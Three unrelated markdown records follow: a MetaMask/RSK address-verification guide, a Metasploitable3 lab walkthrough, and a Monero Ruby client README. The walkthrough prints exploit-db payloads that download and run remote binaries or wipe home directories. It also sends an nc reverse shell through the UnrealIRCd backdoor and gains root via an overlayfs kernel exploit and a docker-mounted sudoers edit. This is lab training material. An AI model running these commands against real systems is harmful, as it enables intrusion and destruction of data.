text:
---
title: 'Confirm that you own an RSK address using RIF Identity Manager'
description: 'Be sure that you truly "control" a particular address. All you need is Chrome and MetaMask. You do not need any RBTC balance!'
tags: metamask, address, account, rif-identity
layout: 'rsk'
---

Let's say that you need to receive a transfer of RBTC,
or tokens on the RSK network,
for the very first time.
To do this you need to set up a wallet and connect it to the RSK network.

However, you may be unsure if you actually "control" the addresses in the wallet.
Understandably so, because it is your first time using it.
That concern has a technical basis too -
you need to **be sure** that you are **able to sign** transactions at this address,
before you ask others to send you cryptocurrency or tokens at this address.

Here we will demonstrate exactly how to do this,
and be sure that you truly "control" a particular address.
All you need is Chrome (web browser) and MetaMask (browser extension).
You do not need any RBTC balance to do so!

## Before you begin

**ℹ** Install MetaMask

In Chrome, visit [metamask.io](https://metamask.io/),
and follow the instructions to install this extension in your browser.
If you are doing this for the first time,
you will need to generate a *seed phrase*,
and it is extremely important that you record this somewhere.

**ℹ** Enable only one Web3 browser extension

If you have more than one Web3 browser extension installed,
for example, if you have both MetaMask and Nifty,
be aware that they can conflict with each other.

Paste `chrome://extensions/` in your address bar,
to see all the browser extensions that you have installed.
Verify that you only have MetaMask installed, **or**
if you have other Web3 browser extensions,
you should disable all of the others by clicking on the toggle buttons.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-disable-other-web3-extensions.png)

Optional:
For a better user experience, you may also wish to
click on the extensions icon (jigsaw shape), and in the dropdown,
click the pin icon next to MetaMask to ensure it is always visible.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-pin-extension-dropdown.png)

**ℹ** Unlock MetaMask

After installing the extension or starting your browser,
MetaMask should display a popup asking you to unlock the account.
Enter your MetaMask password.
(Note that this is *not* the same as your seed phrase.)

If it does not popup, you can manually enter
`chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html#unlock`
in your address bar to navigate there in "expanded view",
instead of within a popup.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-unlock.png)

**ℹ** Add custom network for RSK

MetaMask only contains network configurations to connect to Ethereum by default.
To connect to RSK you will need to add RSK Network configurations.

You have the option to manually add
[RSK Mainnet network configuration to MetaMask](/wallet/use/metamask/).

Alternatively, you can do this automatically,
by visiting [identity.rifos.org](https://identity.rifos.org/),
and when you attempt to connect using MetaMask,
you will get presented with the following:

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-auto-network-1.png)

Click "RSK Mainnet". MetaMask will then show this popup:

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-auto-network-2.png)

Click "Approve". This will automatically fill out the network configuration for you.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-auto-network-3.png)

Then click "Switch Network" to connect to the RSK Mainnet.

## Verifying your RSK account

At this point, you should have everything set up:
You have a wallet installed,
that wallet is connected to the RSK Mainnet,
and you have addresses inside that wallet.

You're ready to verify that you can use your wallet to sign messages!

**(1)** View transaction history

In MetaMask, you can view your transaction history for a particular address
by selecting the "Activity" tab in the main screen.

> "Expanded view": `chrome-extension://nkbihfbeogaeaoehlefnkodbefgpgknn/home.html#`

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-transaction-history.png)

If your activity tab is empty, like the one above,
it means that there are zero transactions at this address.
Let's copy the address by clicking on it.
It is located near the top, begins with `0x`,
and should be under a label similar to "Account 1".

**(2)**  Visit block explorer

Let's check the address that you've just copied
on the RSK block explorer.

Visit `explorer.rsk.co/address/${YOUR_ADDRESS}`.
Replace `${YOUR_ADDRESS}` with the address copied from MetaMask earlier.
For example, if you copied `0xdfc0e6361fd1846a223e2d7834a5ebd441a16dd4`,
the URL will be `https://explorer.rsk.co/address/0xdfc0e6361fd1846a223e2d7834a5ebd441a16dd4`

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-block-explorer-address-not-found.png)

Here you may see "Not Found".
This does not necessarily mean that the account does not exist.
Instead, it means that there simply are no transactions on the blockchain at this address.

**(3)** Visit RIF Identity Manager

So far, not so good, right?
... Nothing we've seen thus far assures you
that you do indeed control this address.

This is where the RIF Identity Manager comes in!
This DApp allows you to verify whether we control this address.
You'll do this by signing a message that is **not** a blockchain transaction.

Visit [identity.rifos.org](https://identity.rifos.org/).

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-visit.png)

Click on "Connect your Wallet"

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-connect-wallet.png)

Select "MetaMask"

> Note that if you have multiple Web3 browser extensions installed,
> disable all of them except for one.
> If not, this confuses most DApps including RIF Identity Manager,
> and you may not see MetaMask here as a result.
> See the "before you begin" section for details.

**(4)** MetaMask site connection permission

You will be presented with a popup from MetaMask,
which essentially is asking you whether you trust RIF Identity Manager.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-connect-site-permission.png)

Click "Next".
This allows MetaMask to interact with RIF Identity Manager

MetaMask will then show another popup,
asking you whether you want to allow RIF Identity Manager
to see your account addresses.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-view-addresses-permission.png)

Click "Connect".
This allows MetaMask to see your account addresses.

**(5)** RIF Identity Authentication

Upon granting these permissions,
the RIF Identity Manager DApp
presents you with yet another MetaMask popup.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-sign-authentication-text-message.png)

This time, it asks to sign a text message,
which should look similar to the following:

```text
Are you sure you want to login to the RIF Data Vault?
URL: https://data-vault.identity.rifos.org
Verification code: ${SOME_RANDOM_VALUE}
```

Click "Sign".
When you do this, the **crucial part** happens!

- MetaMask uses the **private key** corresponding to the address
  to sign that message.
- The signed message is transmitted to RIF Identity Manager's backend,
  which performs digital signature verification,
  which it uses to confirm whether it has indeed been signed by this particular address.
- Since this is a plain text message,
  and does not involve adding a transaction to the blockchain,
  no gas fees need to be paid,
  and therefore your RBTC balance can be zero.

This is perfect for newly generated accounts!

**(6)** Check the dashboard

Once you have signed the message and it has been verified,
you will see the dashboard for the RIF Identity Manager.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-dashboard.png)

Check that the "Persona Address" field that is displayed here **matches**
the address of your account in MetaMask.

![](/assets/img/kb/verify-address-ownership/rif-identity-metamask-dashboard-persona-address.png)

That's all - now you can be confident that you do control this address on the RSK Mainnet!


text:
---
layout: single
title: Metasploitable3 - Exploiting UnrealIRC Service
excerpt: Metasploitable3 is a free vulnerable machine - either in a Linux or Windows version - that allows you to simulate attacks largely using metasploit. For this post, I will try exploiting the IRC service without metasploit and go on to gain root in two different ways
date: 2020-04-08
classes: wide
header:
  teaser:
  teaser_home_page: true
  icon:
categories:
  - metasploitable3
tags:
  - irc
  - linux
  - kernel exploits
  - docker
---

## Summary

Metasploitable3 is a free vulnerable machine - either in a Linux or Windows version - that allows you to simulate attacks largely using metasploit. However, I will mainly avoid using metasploit and rather do it manually to further enhance my skillset. I will randomly pick a service to exploit so I can write multiple blogs in this metasploitable 3 series. In this blog, we will be exploiting UnrealIRC Service to gain a shell and use 2 different ways to escalate privilege to root.

## Box Details

- IP Address: <IP_ADDRESS>(Specific to my lab setup)
- OS: Linux, Ubuntu 14.04
- Hostname: metasploitable3-linux
- Kali: <IP_ADDRESS>

## Recon

### Nmap Output

```
# nmap -sT -p- --min-rate 10000 -oA nmap/alltcp <IP_ADDRESS>
Nmap scan report for <IP_ADDRESS>
Host is up (0.00049s latency).
Not shown: 65525 filtered ports
PORT     STATE  SERVICE
21/tcp   open   ftp
22/tcp   open   ssh
80/tcp   open   http
445/tcp  open   microsoft-ds
631/tcp  open   ipp
3000/tcp closed ppp
3306/tcp open   mysql
3500/tcp closed rtmp-port
6697/tcp open   ircs-u
8181/tcp open   intermapper
MAC Address: 00:0C:29:BE:58:E2 (VMware)

# Nmap done at Thu May  2 04:40:04 2019 -- 1 IP address (1 host up) scanned in 13.47 seconds
```

Performing a nmap service and version scan on the identified opened ports using default scripts

```
# nmap -sC -sV -p 21,22,80,445,631,3000,3306,3500,6697,8181 -oA nmap/services <IP_ADDRESS>
Nmap scan report for <IP_ADDRESS>
Host is up (0.00058s latency).

PORT     STATE  SERVICE     VERSION
21/tcp   open   ftp         ProFTPD 1.3.5
22/tcp   open   ssh         OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 b9:07:bc:1e:21:f8:aa:09:7a:f3:66:c9:4c:1e:93:82 (DSA)
|   2048 41:1c:56:97:4e:77:d2:3a:c5:fc:e1:e8:bb:52:c7:58 (RSA)
|   256 6f:3a:67:21:7c:1c:cc:71:f3:f2:33:58:ba:ea:17:0f (ECDSA)
|_  256 31:0c:79:ba:be:a8:ef:8f:0a:f6:bb:45:70:97:b3:9b (ED25519)
80/tcp   open   http        Apache httpd 2.4.7
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2018-07-29 13:18  chat/
| -     2011-07-27 20:17  drupal/
| 1.7K  2018-07-29 13:18  payroll_app.php
| -     2013-04-08 12:06  phpmyadmin/
|_
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Index of /
445/tcp  open   netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
631/tcp  open   ipp         CUPS 1.7
| http-methods:
|_  Potentially risky methods: PUT
| http-robots.txt: 1 disallowed entry
|_/
|_http-server-header: CUPS/1.7 IPP/2.1
|_http-title: Home - CUPS 1.7.2
3000/tcp closed ppp
3306/tcp open   mysql       MySQL (unauthorized)
3500/tcp closed rtmp-port
6697/tcp open   irc         UnrealIRCd
| irc-info:
|   users: 1
|   servers: 1
|   lusers: 1
|   lservers: 0
|_  server: irc.TestIRC.net
8181/tcp open   http        WEBrick httpd 1.3.1 (Ruby 2.3.7 (2018-03-28))
|_http-server-header: WEBrick/1.3.1 (Ruby/2.3.7/2018-03-28)
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
MAC Address: 00:0C:29:BE:58:E2 (VMware)
Service Info: Hosts: <IP_ADDRESS>, METASPLOITABLE3-UB1404, irc.TestIRC.net; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 2s, deviation: 2s, median: 0s
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: metasploitable3-ub1404
|   NetBIOS computer name: METASPLOITABLE3-UB1404\x00
|   Domain name: \x00
|   FQDN: metasploitable3-ub1404
|_  System time: 2019-05-02T04:44:27+00:00
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   2.02:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2019-05-02 04:44:24
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu May  2 04:45:22 2019 -- 1 IP address (1 host up) scanned in 67.97 seconds
```

### Looking For Exploits

As can be seen form the nmap output, we can see that the service running on port 6697 is UnrealIRC. We can use `searchsploit` to search for exploits:

```
# searchsploit UnrealIRC
----------------------------------------------------------------------------------------------------------- ----------------------------------------
 Exploit Title                                                                                |  Path
                                                                                | (/usr/share/exploitdb/)
----------------------------------------------------------------------------------------------------------- ----------------------------------------
UnrealIRCd <IP_ADDRESS> - Backdoor Command Execution (Metasploit)                                               | exploits/linux/remote/16922.rb
UnrealIRCd <IP_ADDRESS> - Local Configuration Stack Overflow                                                    | exploits/windows/dos/18011.txt
UnrealIRCd <IP_ADDRESS> - Remote Downloader/Execute                                                             | exploits/linux/remote/13853.pl
UnrealIRCd 3.x - Remote Denial of Service                                                                  | exploits/windows/dos/27407.pl
----------------------------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
```

I will ignore the windows exploit and examine the exploits for linux systems by using `searchsploit -x` to examine the code: `searchsploit -x exploits/linux/remote/16922.rb`. Towards the bottom, I see this function:

```ruby
def exploit
                connect

                print_status("Connected to #{rhost}:#{rport}...")
                banner = sock.get_once(-1, 30)
                banner.to_s.split("\n").each do |line|
                        print_line("    #{line}")
                end

                print_status("Sending backdoor command...")
                sock.put("AB;" + payload.encoded + "\n")

                handler
                disconnect
        end
```

From the function, it looks like the exploit is to connect to the port and then send "AB;" + the payload + "\n"

Examining the perl script the same way, `searchsploit -x exploits/linux/remote/13853.pl`, we can find the following at the top section

```perl
## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';
```

It appears to be sending the same payload

## Getting Shell as boba_fett

Based on what I found during the recon stage, I will just connect with `nc` and enter `AB; [some command]` and get it running. I will test with a ping and use tcpdump to listen for icmp traffic:

```
root@cyb3r:~# nc <IP_ADDRESS> 6697
:irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
:irc.TestIRC.net NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
AB;ping -c 1 <IP_ADDRESS>
:irc.TestIRC.net 451 AB;ping :You have not registered
```

And in another windows, I can see that my attacker machine receives that pings. This proves that RCE is possible.

```
root@cyb3r:~# tcpdump -ni eth0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes
11:20:47.780631 IP <IP_ADDRESS> > <IP_ADDRESS>: ICMP echo request, id 3340, seq 1, length 64
11:20:47.780684 IP <IP_ADDRESS> > <IP_ADDRESS>: ICMP echo reply, id 3340, seq 1, length 64
```

Now to get a shell I will use the try and tested command below to receive a reverse shell from the IRC Server

```
root@cyb3r:~# nc <IP_ADDRESS> 6697
:irc.TestIRC.net NOTICE AUTH :*** Looking up your hostname...
:irc.TestIRC.net NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
AB; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc <IP_ADDRESS> 443 >/tmp/f
```

And in other window, I receive the shell from the server:

```
root@cyb3r:~# rlwrap nc -lvnp 443
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::443
Ncat: Listening on <IP_ADDRESS>:443
Ncat: Connection from <IP_ADDRESS>.
Ncat: Connection from <IP_ADDRESS>:33625.
bash: cannot set terminal process group (1225): Inappropriate ioctl for device
bash: no job control in this shell
boba_fett@metasploitable3-ub1404:/opt/unrealircd/Unreal3.2$ whoami
whoami
boba_fett
boba_fett@metasploitable3-ub1404:/opt/unrealircd/Unreal3.2$

```

## Privilege Escalation

### From boba_fett --> root

In order to gain full root access, further recon is required to find ways in which we can further escalate our current privileges. I usually run the post exploitation scripts such as `LinEnum.sh`, `linux-kernel-exploiter` and `linux-smart-enumeration` script to help automate this stage. First, I need to transfer these scripts to the compromised server and executed them. I will setup a webserver on the attacker machine and use wget to download the files to a location so i can execute them.

```
root@cyb3r:/opt/LinEnum# python -m SimpleHTTPServer 80
Serving HTTP on <IP_ADDRESS> port 80 ...
<IP_ADDRESS> - - [15/Dec/2019 12:24:25] "GET /LinEnum.sh HTTP/1.1" 200 -

root@cyb3r:/opt/linux-smart-enumeration# python -m SimpleHTTPServer 80
Serving HTTP on <IP_ADDRESS> port 80 ...
<IP_ADDRESS> - - [15/Dec/2019 12:24:58] "GET /lse.sh HTTP/1.1" 200 -
```

Using wget to download the files:

```
boba_fett@metasploitable3-ub1404:/var/tmp$ wget http://<IP_ADDRESS>/LinEnum.sh
wget http://<IP_ADDRESS>/LinEnum.sh
--2019-12-15 12:24:25--  http://<IP_ADDRESS>/LinEnum.sh
Connecting to <IP_ADDRESS>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 45650 (45K) [text/x-sh]
Saving to: 'LinEnum.sh'

     0K .......... .......... .......... .......... ....      100% 1.04M=0.04s

2019-12-15 12:24:25 (1.04 MB/s) - 'LinEnum.sh' saved [45650/45650]

boba_fett@metasploitable3-ub1404:/var/tmp$ wget http://<IP_ADDRESS>/lse.sh
wget http://<IP_ADDRESS>/lse.sh
--2019-12-15 12:24:58--  http://<IP_ADDRESS>/lse.sh
Connecting to <IP_ADDRESS>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 31736 (31K) [text/x-sh]
Saving to: 'lse.sh'

     0K .......... .......... ..........                      100% 20.2M=0.002s

2019-12-15 12:24:58 (20.2 MB/s) - 'lse.sh' saved [31736/31736]

boba_fett@metasploitable3-ub1404:/var/tmp$

boba_fett@metasploitable3-ub1404:~$ wget http://<IP_ADDRESS>/linux-exploit-suggester-2.pl
--2020-04-08 13:05:21--  http://<IP_ADDRESS>/linux-exploit-suggester-2.pl
Connecting to <IP_ADDRESS>:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 24783 (24K) [text/x-perl]
Saving to: ‘linux-exploit-suggester-2.pl’

100%[===================================================================================================================>] 24,783      --.-K/s   in 0s

2020-04-08 13:05:21 (108 MB/s) - ‘linux-exploit-suggester-2.pl’ saved [24783/24783]

boba_fett@metasploitable3-ub1404:~$
```

After running the enumeration scripts, a few things popped out for me:

##### Kernel Exploits - There were some kernel exploits available for this kernel version

```
boba_fett@metasploitable3-ub1404:~$ perl linux-exploit-suggester-2.pl

  #############################
    Linux Exploit Suggester 2
  #############################

  Local Kernel: 3.13.0
  Searching 72 exploits...

  Possible Exploits
  [1] dirty_cow
      CVE-2016-5195
      Source: http://www.exploit-db.com/exploits/40616
  [2] exploit_x
      CVE-2018-14665
      Source: http://www.exploit-db.com/exploits/45697
  [3] overlayfs
      CVE-2015-8660
      Source: http://www.exploit-db.com/exploits/39230
  [4] pp_key
      CVE-2016-0728
      Source: http://www.exploit-db.com/exploits/39277
  [5] timeoutpwn
      CVE-2014-0038
      Source: http://www.exploit-db.com/exploits/31346

boba_fett@metasploitable3-ub1404:~$
```

##### The user boba_fett belongs the docker group and this can be leaveraged to obtain a root shell if the docker settings aren't properly configured

```
[!] ctn020 Is the user a member of the 'docker' group?..................... yes!
---
docker
---
```

### Gaining root using the kernel exploit overlays(CVE-2015-8660)

We can go ahead and download the overlayfs exploit from [here](http://www.exploit-db.com/exploits/39230), send it over to the victim machine and then use gcc to compile the script to an executable and execute it so as to gain the root shell:

```
boba_fett@metasploitable3-ub1404:~$ wget http://<IP_ADDRESS>/overlay.c
wget http://<IP_ADDRESS>/overlay.c
--2019-05-03 15:46:08--  http://<IP_ADDRESS>/overlay.c
Connecting to <IP_ADDRESS>:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5119 (5.0K) [text/plain]
Saving to: 'overlay.c'

100%[======================================>] 5,119       --.-K/s   in 0s

2019-05-03 15:46:09 (93.7 MB/s) - 'overlay.c' saved [5119/5119]

boba_fett@metasploitable3-ub1404:~$ gcc overlay.c -o ofs
gcc overlay.c -o ofs

boba_fett@metasploitable3-ub1404:~$ chmod +x ofs
chmod +x ofs
boba_fett@metasploitable3-ub1404:~$ ./ofs
./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),100(users),999(docker)
#
```

### Gaining root taking advantage to the docker group

With user `boba_fett` in the docker group, we can issue docker commands without any restrictions. I will use docker command `docker images` to list the docker images on the system

```
boba_fett@metasploitable3-ub1404:~$ docker images
REPOSITORY                  TAG                 IMAGE ID            CREATED             SIZE
7_of_diamonds               latest              5e45125fa132        20 months ago       84.2MB
ubuntu                      latest              735f80812f90        20 months ago       83.5MB
krustyhack/docker-privesc   latest              6b5ae09db018        2 years ago         3.97MB
boba_fett@metasploitable3-ub1404:~$
```

From this printout I can see we have an `Ubuntu` image on the system. The attack vector that straight away comes to mind to is to map the `/etc/` directory to a directory `/root/` within the docker container. Within the container, I'll have access as root and be able to add user `boba_fett` into the sudoers file so he can issue all commands with the `sudo` without knowing his password and therefore go on and get a root shell using `sudo bash`.

To run a container and mount the `/etc` directory, I will use the following command, `docker run -dit -v /etc:/root ubuntu` and I can check the running container using `docker ps`

```
boba_fett@metasploitable3-ub1404:~$ docker run -dit -v /etc:/root ubuntu
5918a86e9463068479143edc7217831b17929096a80c82a330d2c3b5c6bfcac6
boba_fett@metasploitable3-ub1404:~$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
5918a86e9463        ubuntu              "/bin/bash"         16 seconds ago      Up 5 seconds                            cocky_wozniak
753bae4795cf        7_of_diamonds       "/bin/bash"         20 months ago       Up 5 hours                              7_of_diamonds
boba_fett@metasploitable3-ub1404:~$

```

We have our ubuntu container with id `5918a86e9463` running. Next step is to connect to our docker container, edit the `sudoers` file and insert details for `boba_fett` to be able to issue commands with sudo without entering his password(which we don't know).

```
boba_fett@metasploitable3-ub1404:~$ docker exec -it 5918a86e9463 /bin/bash
root@5918a86e9463:/# id
uid=0(root) gid=0(root) groups=0(root)
root@5918a86e9463:/# pwd
/
root@5918a86e9463:/# cd /root
root@5918a86e9463:~# cat passwd | grep boba_fett
boba_fett:x:1121:100::/home/boba_fett:/bin/bash
root@5918a86e9463:~#
```

From the printout above, it's clear we have root access in the docker container and have successfully mounted the `/etc/` directory in the `root` directory. A simple grep on the `passwd` file, we found our user's name.

To edit the `sudoers` file, we will use the `echo` to append the following information to enable user `boba_fett` issue sudo commands without any password: `echo "boba_fett ALL=(ALL) NOPASSWD: ALL" >> sudoers`. We can confirm this has been appended to the file by reading the file using `cat sudoers`.

```
root@5918a86e9463:~# echo "boba_fett ALL=(ALL) NOPASSWD: ALL" >> sudoers
root@5918a86e9463:~# cat sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults        env_reset
Defaults        mail_badpass
Defaults        secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root    ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo   ALL=(ALL:ALL) ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d
boba_fett ALL=(ALL) NOPASSWD: ALL
root@5918a86e9463:~#
```

With this done, we can exit the container and simply issue `sudo bash` on the host victim to gain a root shell

```
root@5918a86e9463:~# exit
exit
boba_fett@metasploitable3-ub1404:~$
boba_fett@metasploitable3-ub1404:~$ id
uid=1121(boba_fett) gid=100(users) groups=100(users),999(docker)
boba_fett@metasploitable3-ub1404:~$ whoami
boba_fett
boba_fett@metasploitable3-ub1404:~$ sudo bash
root@metasploitable3-ub1404:~# id
uid=0(root) gid=0(root) groups=0(root)
root@metasploitable3-ub1404:~# whoami
root
root@metasploitable3-ub1404:~# hostname
metasploitable3-ub1404
root@metasploitable3-ub1404:~#

```

So, we finally have a shell as root. Hope you enjoyed reading this walkthrough.

license: MIT

branch_name: refs/heads/master

extension: md

gha_language: JavaScript

gha_license_id: MIT

license_type: permissive


text:
# Monero Ruby Client

Ruby client to connect and use [Monero Wallet RPC](https://getmonero.org/resources/developer-guides/wallet-rpc.html).

*Tested against [v<IP_ADDRESS> Beryllium Bullet](https://github.com/monero-project/monero/releases/tag/v<IP_ADDRESS>) without issues. Please contribute. If you want to send testnet transactions, please always send them back to https://dis.gratis*

---
#### Disclaimer - before you start - *important notice!*
To try out please make sure that you run your **monerod** and your **monero-wallet-rpc** with the `--stagenet` or `--testnet` option. Always use the stagenet or testnet to play around. Be careful with your wallet, you might lose coins if you try out on the real chain.

- Stagenet Faucet: http://stagenet.xmr-tw.org:38085/
- Testnet Faucet: https://dis.gratis/
- Testnet Blockexplorer: https://testnet.xmrchain.com
---

## Installation
For easy installation add `gem 'monero'` to your Gemfile or run `gem install monero`

## Preparation
Start your daemon `./monerod --testnet`

Start your RPC Client `./monero-wallet-rpc --testnet  --rpc-bind-port 28081 --rpc-bind-ip <IP_ADDRESS>  --rpc-login username:password --log-level 4`

- To open a wallet at start use `--wallet-file filename` and `--password pass`
- In case you need to access the client from another machine, you need to set `--confirm-external-bind`.
- To be able to create/open other wallets you need to specify `--wallet-file /path/to/wallets/on/your/machine`
- if you don't specify `--rpc-login` a file will be created that stores the login data (`cat monero-wallet-rpc.28081.login`)

You can also use
[monerod-rpc-docker](https://github.com/xaviablaza/monerod-rpc-docker) by
xaviablaza to run monerod and the RPC client.

## Getting started

### Configuration
```ruby
RPC.config.host = "<IP_ADDRESS>"
RPC.config.port = "18081"
RPC.config.username = "username"
RPC.config.password = "password"
RPC.config.transfer_clazz = "MoneroTransfer" # you can set your own class to get incoming transfers as a model rather then a json
```

### Usage

Monero Ruby Client is very easy to use. Full documentation of RPC Client: https://getmonero.org/resources/developer-guides/wallet-rpc.html#transfer

---
Get the current address
```ruby
RPC::Wallet.address
=> "9wm6oNA5nP3LnugTKRSwGJhW4vnYv8RAVdRvYyvbistbHUnojyTHyHcYpbZvbTZHDsi4rF1EK5TiYgnCN6FWM9HjTDpKXAE"
```

---
Create a new subaddress with a label
```ruby
RPC::Wallet.create_address "family savings"
=> {"address"=>"BZFWM5MrhK64DD5TH1JVxR4JbuQpmRSFKi4SHQD2TrSrDFU8AK16YSjN7K8WSfjAfnZeJeskBtkgr73LbPZc4vMbQr3YvHj", "address_index"=>1}
```

---
Create a new address for a payment (integrated address)
```ruby
RPC::Wallet.make_integrated_address
=> {"integrated_address"=>"A7TmpAyaPeZLnugTKRSwGJhW4vnYv8RAVdRvYyvbistbHUnojyTHyHcYpbZvbTZHDsi4rF1EK5TiYgnCN6FWM9HjfufSYUchQ8hH2R272H",
    "payment_id"=>"9d985c985ce58a8e"}
```

---
Get a list of all addresses of your wallet
```ruby
RPC::Wallet.get_addresses
```

---
To get the balance of the current wallet (we use the gem 'money')
```ruby
RPC::Wallet.balance
# returns an ::XMR object which is just a shortcut for ::Money(amount, :xmr)
=> <Money fractional:9980629640000 currency:XMR>

RPC::Wallet.balance.format
=> "9.980629640000 XMR"
```

To get the unlocked balance, which is currently available
```ruby
RPC::Wallet.unlocked_balance
=> <Money fractional:10000 currency:XMR>
```

To get both combined
```ruby
RPC::Wallet.getbalance
=> {"balance"=>9961213880000, "unlocked_balance"=>10000}
```

---
To get the current block height
```ruby
RPC::Wallet.getheight
=> 1008032
```

---
Send XMR to an address via `RPC::Transfer.create`. If successful you will get the transaction details. If not successful you'll get returned nil.

```ruby
amount= 20075 # in atomic units;<PHONE_NUMBER>000 == 1.0 XMR
RPC::Transfer.create("A7TmpAyaPeZLnugTKRSwGJhW4vnYv8RAVdRvYyvbistbHUnojyTHyHcYpbZvbTZHDsi4rF1EK5TiYgnCN6FWM9HjfwGRvbCHYCZAaKSzDx", amount)
=> {"fee"=>19415760000,
    "tx_blob"=>"020001020005bbcf0896e3.......
```

The return hash consists of:
```
{amount, fee, multisig_txset, tx_blog, tx_hash, tx_key, tx_metadata,
unsigned_txset}
```

To send payments you can also specify the following options:

```ruby
options = { fee: fee, mixin: 5, unlock_time: unlock_time, payment_id: "c7e7146b3335aa54", get_tx_key: true, priority: 0, do_not_relay: false, get_tx_hex: true}
```

Please note that `fee` is currently ignored by the chain.

To send payments to multiple recipients simply use an array of `[:recipient, :amount]`. For example:

```ruby
recipients = [
  {address:"A7TmpAyaPeZLnugTKRSwGJhW4vnYv8RAVdRvYyvbistbHUnojyTHyHcYpbZvbTZHDsi4rF1EK5TiYgnCN6FWM9HjfwGRvbCHYCZAaKSzDx" amount: 1599999},
  {address:"A7TmpAyaPeZLnugTKRSwGJhW4vnYv8RAVdRvYyvbistbHUnojyTHyHcYpbZvbTZHDsi4rF1EK5TiYgnCN6FWM9Hjftr1RgJ6RM4BMMPLUc" amount: 130000},
  {address:"A7TmpAyaPeZLnugTKRSwGJhW4vnYv8RAVdRvYyvbistbHUnojyTHyHcYpbZvbTZHDsi4rF1EK5TiYgnCN6FWM9HjfrgPgAEasYGSVhUdwe" amount: 442130000}
]

RPC::Transfer.send_bulk(recipients, options)
```

---
To get a list of transfers you call `get_transfers(args)`. Options are `in (true)`, `out (false)`, `pending (true)`, `failed (false)`, `pool (true)`, `filter_by_height (false)`, `min_height` and `max_height`

---
To get all incoming transfers use `get_all_incoming_transfers(args)`. Args can be `min_height` and `max_height` to filter accordingly. Result is a list of `RPC::IncomingTransfer` objects.

```ruby
incomes = RPC::Wallet.get_all_incoming_transfers(min_height: 1087400)
=> [#<RPC::IncomingTransfer:0x000000036d3ca8 ...>, #<RPC::IncomingTransfer:0x000000036d38c0 ...>, #<RPC::IncomingTransfer:0x000000036d3258 ...>, #<RPC::IncomingTransfer:0x000000036d2c90 ...> ....

incomes.first.confirmed?
=> false

incomes.first.pending?
=> true

incomes.first.confirmations?
=> 0

incomes.first.address
=> "9vN5sHeH2a6AbRsB1dZ3APavL3YyFLguhh5pu2cAHb4CTY9GtnsEsBYTzwxzL6XH4Uby2Svju8sYvZN7mDMcd6MTKDvBgVR"

incomes.first.amount
=> 0.40123
```

You can use your own custom class by using the config `RPC.config.transfer_clazz = "MyCustomMoneroTransfer"`

---
For a specific Transfer simply call `get_transfer_by_txid(tx_id)`

---
## Running tests

Configure the RPC singleton in
[spec_helper.rb](https://github.com/krtschmr/monero/blob/master/spec/spec_helper.rb)

## Donations
If this was useful you might consider a small donation:

krtschmr:
```
42gYBRdXZbDdpV8gn7ntZySQuY4kzF7upNw67cj1LkkxV3kgjqoBBU9fBPeh4mZMMb75WAkNisvKdehdiE3g7Awx3JSdd5Y
```

